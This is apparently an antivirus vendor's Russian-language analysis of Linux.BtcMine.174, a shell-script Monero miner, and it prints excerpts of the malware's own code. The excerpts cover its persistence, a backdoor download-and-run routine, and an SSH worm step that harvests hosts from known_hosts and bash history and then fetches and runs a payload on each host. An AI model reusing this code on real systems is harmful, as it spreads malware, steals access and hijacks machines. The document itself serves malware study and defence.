- 9ae9233c79390495e607059870671c9936c413c5
- b59fc07afc9f159562f71b3a21c38b1d471acc2f
Многокомпонентная вредоносная программа, способная заражать устройства под управлением ОС Linux и предназначенная для добычи криптовалюты Monero (XMR). Реализована в виде сценария на языке командной оболочки sh, содержит более 1000 строк кода.
При запуске выполняется проверка доступности сервера, с которого троянец впоследствии будет загружать дополнительные модули:
function GetDownloadPath()
{
paths=("/usr/bin" "/bin" "/lib" "/boot" "/tmp" "/home/`whoami`" "`pwd`")
for path in ${paths[@]}
do
if [ -x $path ] && [ -r $path ] && [ -w $path ]
then
DownloadPath=$path
break
fi
done
}
Если сценарий не был запущен с параметром "/sbin/init", то выполняются следующие действия:
- сценарий перемещается в раннее подобранную папку, для которой имеется разрешение на запись (rwx), с именем "diskmanagerd" (имя указывается в переменной $WatchDogName);
- сценарий пытается повторно запуститься с использованием утилиты nohup или просто в фоновом режиме, если утилита nohup не установлена (в этом случае он самостоятельно устанавливает пакет coreutils).
WatchDogName="diskmanagerd"
arg=$1
#...
function Nohup()
{
if [ "$arg" != "/sbin/init" ]
then
rm -f $DownloadPath$WatchDogName >/dev/null 2>&1
cp -rf $0 $DownloadPath$WatchDogName
chmod 755 $DownloadPath$WatchDogName >/dev/null 2>&1
rm -f $0
nohup --help >/dev/null 2>&1
if [ $? -eq 0 ]
then
nohup $DownloadPath$WatchDogName "/sbin/init"> $DownloadPath.templog 2>&1 &
exit
else
if [ `id -u` -eq "0" ]
then
yum install coreutils -y >/dev/null 2>&1
apt-get install coreutils -y >/dev/null 2>&1
sleep 30
fi
(exec $DownloadPath$WatchDogName "/sbin/init" &> /dev/null &)
exit
fi
fi
}
Затем троянец скачивает и запускает одну из версий троянца Linux.BackDoor.Gates.9. Бэкдоры этого семейства позволяют выполнять поступающие от злоумышленников команды и проводить DDoS-атаки:
function oh_cause_she_is_dead()
{
md5sum --help >/dev/null 2>&1
if [ "$?" = "0" ]
then
if [ `id -u` -eq "0" ]
then
DownloadFile "md5" "$mdfive_root" "http://$remote_host/syn" "$DownloadPath$DownloadFileName"
else
DownloadFile "md5" "$mdfive_user" "http://$remote_host/udp" "$DownloadPath$DownloadFileName"
fi
else
if [ `id -u` -eq "0" ]
then
DownloadFile "size" "$DownloadFileSize" "http://$remote_host/syn" "$DownloadPath$DownloadFileName"
else
DownloadFile "size" "$DownloadFileSize" "http://$remote_host/udp" "$DownloadPath$DownloadFileName"
fi
fi
chmod 755 "$DownloadPath$DownloadFileName"
$DownloadPath$DownloadFileName
}
После этого вредоносная программа ищет конкурирующие майнеры и при обнаружении удаляет их. Для этого она сканирует /proc/${pid}/exe и /proc/${pid}/cmdline на наличие характерных строк ("cryptonight", "stratum+tcp" и т. д.).
Если Linux.BtcMine.174 не был запущен от имени суперпользователя (root), он загружает с принадлежащего злоумышленникам сервера и запускает другой sh-сценарий (SHA1: 9ae9233c79390495e607059870671c9936c413c5), который в свою очередь скачивает и выполняет набор эксплойтов для повышения привилегий в системе Linux.Exploit.CVE-2016-5195 (DirtyCow) и Linux.Exploit.CVE-2013-2094.
На следующем этапе вредоносный сценарий проверяет, запущен ли он с правами root. Если да, он останавливает сервисы, удаляет их файлы через пакетные менеджеры и очищает директории. В скрипте перечислены следующие имена сервисов: safedog, aegis, yunsuo, clamd, avast, avgd, cmdavd, cmdmgd, drweb-configd, drweb-spider-kmod, esets, xmirrord.
Затем троянец прописывается в автозагрузку с использованием /etc/rc.local, /etc/rc.d/..., /etc/cron.hourly. После этого он загружает и запускает руткит, также выполненный в виде сценария sh. Среди функций руткит-модуля можно перечислить кражу вводимых пользователем паролей команды su, сокрытие файлов в файловой системе, сетевых соединений и запускаемых процессов.
После этого троянец передает управление функции, собирающей из разных источников информацию обо всех сетевых узлах, к которым текущий пользователь ранее подключался по протоколу SSH. Троянец пытается соединиться с этими узами и заразить их:
cat /root/.ssh/known_hosts|grep -v ,|awk '{print $1}' > /tmp/.h
cat /root/.ssh/known_hosts|grep ,|awk -F, '{print $1}' >> /tmp/.h
cat /root/.ssh/known_hosts|grep ,|awk -F, '{print $1}' >> /tmp/.h
cat /root/.bash_history|grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}'|sort -u >> /tmp/.h
cat /home/*/.bash_history|grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}'|sort -u >> /tmp/.h
cat /home/*/.bash_history |grep ssh|awk '{print $2}'|grep -v '-'|grep -v / |sort -u >> /tmp/.h
cat /home/*/.bash_history |grep ssh|awk '{print $3}'|grep -v '-'|grep -v / |sort -u >> /tmp/.h
cat /root/.bash_history |grep ssh|awk '{print $2}'|grep -v '-'|grep -v /|sort -u >> /tmp/.h
cat /root/.bash_history |grep ssh|awk '{print $3}'|grep -v '-'|grep -v /|sort -u >> /tmp/.h
cat /tmp/.h|grep -v 127.0.0.1|grep -v localhost|sort -u > /tmp/.hh
cat /tmp/.hh > /tmp/.h
rm -rf /tmp/.hh
for i in `cat /tmp/.h`
do
(
exec ssh -oStrictHostKeyChecking=no -oCheckHostIP=no `whoami`@$i "wget -c -O /tmp/ ;curl -o /tmp/ ;python -c \"import urllib;urllib.urlretrieve(\\\"\\\", \\\"/tmp/\\\")\";php -r '\$f=fopen(\"'/tmp/'\",\"w\");fwrite(\$f, implode(\"\",@file(\"''\")));fclose(\$f);';ruby -e \"require 'open-uri';File.open('/tmp/', 'w') {|f| f.write(open('') {|f1| f1.read})}\";perl -MNet::FTP -e \"\\\$ftp = Net::FTP->new(\\\"\\\");\\\$ftp->login('', '');\\\$ftp->binary;\\\$ftp->get(\\\"\\\",\\\"/tmp/\\\")\";chmod 755 /tmp/;(exec /tmp/ &> /dev/null &)" &> /dev/null &
)
done
Далее троянец запускает и поддерживает в работоспособном состоянии майнер для добычи криптовалюты Monero (XMR). В бесконечном цикле этот вредоносный сценарий проверяет наличие обновлений на удаленном сервере, при обнаружении которых скачивает и устанавливает их. Проверка осуществляется следующим образом:
- номер текущей версии сценария сохраняется в переменной $shell_ver;
- скачивается файл http://${remote_host}:${remote_port}/shell_ver.txt;
- полученная версия сверяется с текущей: если версии совпадают, ничего не происходит, если не совпадают, троянец выкачивает новую версию сценария с управляющего сервера.